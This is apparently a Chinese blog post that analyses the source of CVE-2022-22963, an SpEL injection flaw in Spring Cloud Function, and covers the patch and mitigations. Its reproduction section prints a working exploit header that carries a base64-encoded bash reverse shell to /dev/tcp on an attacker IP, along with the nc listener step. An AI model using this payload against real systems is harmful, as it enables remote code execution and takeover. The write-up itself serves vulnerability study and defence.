CVE-2022-22963源码分析与漏洞复现

漏洞概述

CVE-2022-22963 是 Spring Cloud Function 框架中的高危远程代码执行(RCE)漏洞,影响版本为 3.1.6、3.2.2 及更早的不受支持版本。攻击者通过 HTTP 请求头 spring.cloud.function.routing-expression 注入恶意 SpEL 表达式,触发表达式解析并执行任意命令。该漏洞的核心问题在于路由功能的 SpEL 表达式解析未做安全限制。


技术细节分析

1. 漏洞成因

  • SpEL 表达式注入
    Spring Cloud Function 的 RoutingFunction 在处理路由请求时,直接从 HTTP 请求头或应用配置中提取 spring.cloud.function.routing-expression 的值,并作为 SpEL 表达式解析。攻击者可通过构造恶意表达式(如 T(java.lang.Runtime).exec("calc"))触发代码执行。
  • 高危上下文配置
    使用 StandardEvaluationContext 作为 SpEL 执行上下文,允许访问 Java 反射、系统类等敏感操作。

2. 源码分析

入口函数:RoutingFunction.route()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object route(Object input, boolean originalInputIsPublisher) {
// 关键逻辑分支:处理 Message 类型输入
if (input instanceof Message) {
Message<?> message = (Message<?>) input;
// 检查请求头中的路由表达式
if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {
function = this.functionFromExpression(
(String) message.getHeaders().get("spring.cloud.function.routing-expression"),
message
);
}
}
return function.apply(input); // 执行目标函数
}

触发路径

  1. 请求头注入:攻击者设置 spring.cloud.function.routing-expression 头值为恶意表达式。
  2. 表达式解析:调用 functionFromExpression() 方法解析表达式。
  3. 代码执行StandardEvaluationContext 解析并执行表达式。
关键漏洞点:functionFromExpression()
1
2
3
private final StandardEvaluationContext evalContext = 
new StandardEvaluationContext();
//this.evalContext为StandardEvaluationContext类
1
2
3
4
5
6
7
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {
// 解析用户输入的表达式(漏洞根源)
Expression expression = spelParser.parseExpression(routingExpression);
// 使用高危上下文执行表达式
String functionName = expression.getValue(this.evalContext, input, String.class);
return functionCatalog.lookup(functionName); // 查找并返回目标函数
}

问题分析

  • **spelParser.parseExpression**:直接解析用户输入的 routingExpression,未做过滤。
  • **StandardEvaluationContext**:允许执行任意 Java 方法,包括 Runtime.exec() 等危险操作。
  • 上下文绑定evalContext 绑定了 MapAccessorBeanResolver,进一步扩大了攻击面。
补丁分析

官方修复方案(Commit 0e89ee2):

1. 替换执行上下文

StandardEvaluationContext 替换为 SimpleEvaluationContext,禁用反射和危险操作:

1
2
3
// 修复后代码示例
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String functionName = expression.getValue(context, input, String.class);

2. 限制表达式来源

若表达式来自 HTTP 头,强制使用安全上下文,禁止使用 StandardEvaluationContext


漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机:
1
docker-compose up -d

upload successful

2.访问访问 http://target:8080,确认服务正常运行

upload successful

攻击步骤(反弹shell)

1. 构造payload
1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
  • 反弹shell的payload

    1
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1base64编码(换成自己攻击机的ip和监听端口)

  • 最终payload

    1
    2
    spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
    //将第一个payload的'命令'替换为反弹shell的payload
2.kail攻击机开启监听
1
nc -lvvp 6666

upload successful

3.构造恶意请求

upload successful

  • 将请求头换为POST /functionRouter HTTP/1.1,并添加payload发送请求包

upload successful

4.验证
  • 反弹shell成功

upload successful

修复方案

1. 升级版本

升级至 Spring Cloud Function 3.1.7+ 或 **3.2.3+**,修复 SpEL 解析逻辑。

2. 输入过滤

若无法立即升级,通过 WAF 拦截包含 spring.cloud.function.routing-expression 的请求头,并过滤 T()# 等关键字。

3. 禁用路由功能

application.properties 中移除 spring.cloud.function.definition=functionRouter 配置。


总结

CVE-2022-22963 的根源在于 Spring Cloud Function 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。


参考链接

  1. Spring Cloud Function 官方公告
  2. 漏洞修复 Commit 记录
  3. Vulhub 复现环境
  4. Akamai 技术分析报告
  5. CVE-2022-22963 深度解析(FreeBuf)
  6. CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现

CVE-2022-22963源码分析与漏洞复现
https://spinage.top/2025/08/05/CVE-2022-22963源码分析与漏洞复现/
作者
spinage
发布于
2025年8月5日
许可协议